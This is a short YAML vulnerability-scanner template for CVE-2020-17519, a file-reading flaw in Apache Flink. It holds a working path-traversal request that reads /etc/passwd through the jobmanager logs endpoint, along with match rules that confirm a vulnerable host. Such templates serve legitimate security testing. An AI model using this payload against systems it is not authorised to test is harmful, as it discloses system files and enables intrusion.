id: apache-flink-lfi-cve-2020-17519
info:
  name: Apache Flink LFI - CVE-2020-17519
  risk: High

params:
  - root: "{{.BaseURL}}"

replicate:
  ports: '8081'

requests:
  - method: GET
    redirect: false
    url: >-
     {{.root}}/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
    headers:
      - User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
    detections:
      - >-
        StatusCode() == 200 && StringSearch("response", "root:") && StringSearch("response", "/bin/bash")

references:
  - link: https://github.com/vulhub/vulhub/blob/master/flink/CVE-2020-17519/README.md